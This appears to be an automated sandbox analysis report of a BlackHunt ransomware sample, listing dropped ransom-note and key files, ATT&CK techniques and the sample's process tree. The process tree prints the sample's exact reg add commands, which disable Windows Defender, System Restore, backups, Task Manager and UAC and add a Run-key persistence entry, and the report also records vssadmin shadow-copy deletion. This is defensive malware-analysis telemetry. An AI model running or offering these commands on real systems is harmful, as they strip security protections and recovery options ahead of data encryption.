File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Kentucky\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Glace_Bay	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_ja.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\access-bridge-64.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files (x86)\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#BlackHunt_ReadMe.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Catamarca	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\#BlackHunt_ReadMe.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic_5.5.0.165303.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files (x86)\Google\Update\Offline\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Uzhgorod	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-spi-actions.xml	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.txt	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\packetizer\#BlackHunt_ReadMe.hta	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_ja_4.4.0.v20140623020002.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring.jar	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-editor-mimelookup-impl.xml	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Maceio	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
304	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2528	vssadmin.exe
2220	vssadmin.exe
1332	vssadmin.exe
2016	vssadmin.exe
2552	vssadmin.exe
5024	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4820	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4816	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
5620	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeRestorePrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeBackupPrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeTakeOwnershipPrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeAuditPrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeSecurityPrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeIncBasePriorityPrivilege	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Token: SeBackupPrivilege	1924	vssvc.exe
Token: SeRestorePrivilege	1924	vssvc.exe
Token: SeAuditPrivilege	1924	vssvc.exe
Token: SeBackupPrivilege	2972	wbengine.exe
Token: SeRestorePrivilege	2972	wbengine.exe
Token: SeSecurityPrivilege	2972	wbengine.exe
Token: SeSecurityPrivilege	4788	wevtutil.exe
Token: SeBackupPrivilege	4788	wevtutil.exe
Token: SeSecurityPrivilege	4800	wevtutil.exe
Token: SeBackupPrivilege	4800	wevtutil.exe
Token: SeSecurityPrivilege	4824	wevtutil.exe
Token: SeBackupPrivilege	4824	wevtutil.exe
Token: SeSecurityPrivilege	4968	wevtutil.exe
Token: SeBackupPrivilege	4968	wevtutil.exe
Token: SeSecurityPrivilege	5032	wevtutil.exe
Token: SeBackupPrivilege	5032	wevtutil.exe
Token: SeDebugPrivilege	4820	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 2888	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	30
PID 2304 wrote to memory of 2888	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	30
PID 2304 wrote to memory of 2888	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	30
PID 2304 wrote to memory of 2888	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	30
PID 2304 wrote to memory of 1332	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	93
PID 2304 wrote to memory of 1332	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	93
PID 2304 wrote to memory of 1332	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	93
PID 2304 wrote to memory of 1332	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	93
PID 2888 wrote to memory of 2660	2888	cmd.exe	151
PID 2888 wrote to memory of 2660	2888	cmd.exe	151
PID 2888 wrote to memory of 2660	2888	cmd.exe	151
PID 2304 wrote to memory of 2272	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	150
PID 2304 wrote to memory of 2272	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	150
PID 2304 wrote to memory of 2272	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	150
PID 2304 wrote to memory of 2272	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	150
PID 2304 wrote to memory of 2740	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	148
PID 2304 wrote to memory of 2740	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	148
PID 2304 wrote to memory of 2740	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	148
PID 2304 wrote to memory of 2740	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	148
PID 1332 wrote to memory of 2760	1332	vssadmin.exe	43
PID 1332 wrote to memory of 2760	1332	vssadmin.exe	43
PID 1332 wrote to memory of 2760	1332	vssadmin.exe	43
PID 2304 wrote to memory of 2812	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	34
PID 2304 wrote to memory of 2812	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	34
PID 2304 wrote to memory of 2812	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	34
PID 2304 wrote to memory of 2812	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	34
PID 2304 wrote to memory of 2696	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	42
PID 2304 wrote to memory of 2696	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	42
PID 2304 wrote to memory of 2696	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	42
PID 2304 wrote to memory of 2696	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	42
PID 2304 wrote to memory of 2560	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	35
PID 2304 wrote to memory of 2560	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	35
PID 2304 wrote to memory of 2560	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	35
PID 2304 wrote to memory of 2560	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	35
PID 2272 wrote to memory of 2232	2272	cmd.exe	41
PID 2272 wrote to memory of 2232	2272	cmd.exe	41
PID 2272 wrote to memory of 2232	2272	cmd.exe	41
PID 2304 wrote to memory of 2772	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	39
PID 2304 wrote to memory of 2772	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	39
PID 2304 wrote to memory of 2772	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	39
PID 2304 wrote to memory of 2772	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	39
PID 2304 wrote to memory of 2668	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	38
PID 2304 wrote to memory of 2668	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	38
PID 2304 wrote to memory of 2668	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	38
PID 2304 wrote to memory of 2668	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	38
PID 2740 wrote to memory of 2060	2740	cmd.exe	147
PID 2740 wrote to memory of 2060	2740	cmd.exe	147
PID 2740 wrote to memory of 2060	2740	cmd.exe	147
PID 2304 wrote to memory of 2852	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	146
PID 2304 wrote to memory of 2852	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	146
PID 2304 wrote to memory of 2852	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	146
PID 2304 wrote to memory of 2852	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	146
PID 2304 wrote to memory of 2816	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	44
PID 2304 wrote to memory of 2816	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	44
PID 2304 wrote to memory of 2816	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	44
PID 2304 wrote to memory of 2816	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	44
PID 2304 wrote to memory of 2720	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	145
PID 2304 wrote to memory of 2720	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	145
PID 2304 wrote to memory of 2720	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	145
PID 2304 wrote to memory of 2720	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	145
PID 2812 wrote to memory of 2596	2812	cmd.exe	144
PID 2812 wrote to memory of 2596	2812	cmd.exe	144
PID 2812 wrote to memory of 2596	2812	cmd.exe	144
PID 2304 wrote to memory of 2552	2304	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe
"C:\Users\Admin\AppData\Local\Temp\50f56b55ca9261615bf6e075c99b7ec7c65df4f0ee411479e73319f5fda97d47.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1612
- C:\Windows\System32\cmd.exe
